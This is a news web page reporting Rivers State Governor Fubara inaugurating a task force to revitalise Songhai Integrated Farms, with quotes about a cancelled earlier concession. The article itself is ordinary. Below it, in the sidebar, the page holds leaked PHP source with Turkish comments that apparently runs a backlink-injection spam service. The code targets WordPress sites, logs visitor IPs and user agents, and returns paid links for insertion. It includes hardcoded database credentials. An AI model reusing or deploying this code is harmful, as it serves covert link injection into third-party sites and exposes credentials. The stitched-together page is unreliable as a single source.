34.1 C
Port Harcourt
Tuesday, March 25, 2025

DEPLOY YOUR CAPACITY, TECHNICAL KNOWHOW TO REVITALISE SONGHAI FARMS, GOV FUBARA TELLS TASK FORCE

Bloombreedschools

Rivers State Governor, Sir Siminalayi Fubara, has said that diversifying the economy of the State has become inevitable because of the need to solve the problem of food shortages while also providing jobs for the teeming unemployed youths.

Eveafrique

These, he said, are the reasons why great care has been taken to critically look at the prospects of revitalising the Songhai Integrated Farms, which is located in Bunu Tai, in Tai Local Government Area of the State.

Governor Fubara insisted that if the problem associated with food shortages is tackled with good intent and purpose, about 40 to 50 percent of current problems of economic hardship plaguing the country and its people would have been solved.

Governor Fubara made the assertion while inaugurating the Chairman, Mr Biedima Oliver, and members of the task force saddled with the responsibility of supervising the revitalization of Songhai Integrated Farms by its partners: Vitalcrop Ventures Limited and Imagine Adama Limited, at Government House in Port Harcourt on Wednesday.

Other members of the task force included, the Rivers State Commissioner for Agriculture, Engr Victor Kii; Commissioner for Finance, Barrister Emmanuel Frank-Fubara; Dr Ayebaesin Beredugo; and Mr Maurice Ogolo.

The Governor explained that it took him time to approve the constitution of the task force being inaugurated because of the ugly experience with the previous group that shown such interest.

Governor Fubara stated that a process was initiated and driven halfway into the handing over of Songhai Farms on concession to an interested partner who latter showed a total lack of the needed capacity to undertake such task.

He said, “As a matter of fact, if few of you could remember, we even conceded the place to an investor who came in after he had made his presentation, and we, believing that he has the capacity, we said okay to him, and we had already signed up.

“But something happened. He came back to tell us that he wanted us to give him a N5billion bank guarantee. We then asked him, why? If we have the N5billion, why do we need you to come and even revitalize Songhai Farms? We would have put that N5billion there ourselves. For that reason, we cancelled that arrangement.”

Governor Fubara said now that two separate companies have come together to indicate interest and given the assurance of having the needed capacity to drive the process, he is delighted to see them meeting that expectation.

Governor Fubara pointed to the expectation of the people who want to see the Songhai Farms back on stream on a sustainable basis.

That expectation, he insisted, is also what his administration wants to see actualised within its lifespan.

He noted, “We want to see food sufficiency, because we know when Songhai Farms comes on board, there will be food, which is one of the problems we are having in this country. If we are able to tackle the issue of food, 40 to 50 percent of our problem will be solved.”

Governor Fubara also stated that although he believes in the presentation made by the group and has taken their assurance to heart, but warned that he would not tolerate a repeat of what happened before.

The Governor said, “I hope your story will not be (end) halfway too. I hope you have the capacity and all the technical knowhow to handle it. It is not when we start now, after we had finished inaugurating the task force, you will come back to tell us that you need $2million. If we have $2million, we won’t need you. We will invest it by ourselves.”

Governor Fubara, however, praised the capacity of the Chairman of the task force, Biedima Oliver, saying that incidentally, he was one of the personnel that convinced the then administration to develop the Songhai Farms, and had worked with the Rivers State Sustainable Development Agency (RSSDA) to manage the project.

He said, “He knows and understands the workings of Songhai, and now that we are making you the chairman of the task force, we want to believe that you will make that place come back to life.

“I don’t have any doubt in your capacity. A few things you’ve touched, you turned them to gold. Please, bring it back to what we used to see in Songhai. Bring it back with the help of your committee.”

Governor Fubara assured that his administration will remain committed to providing all the necessary support that they may require to make their assignment a success.

He added, “So, I hereby inaugurate you. Your task is very simple: Do everything within your powers and with our support to make sure that Songhai becomes operational to the benefit, not just the people of Tai, but to the entire Rivers State and Nigeria as a whole”.

In his acceptance speech, the Chairman of the Task Force to Supervise the Revitalization of Songhai Farms with Vitalcrop Ventures Limited and Imagine Adama Limited, Mr. Biedima Oliver, expressed appreciation to Governor Fubara for the opportunity and confidence reposed in them to revive Songhai Farms.

Mr. Oliver assured that they will deliver the expected goal on Songhai Farms, and doing so on time and on target so that the good people of Rivers State can eventually be happy and also benefit from the huge investment.

Related Articles

Stay Connected

22,748FansLike
23,039FollowersFollow
646FollowersFollow
- Advertisement -spot_img

Latest Articles

Eveafrique
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>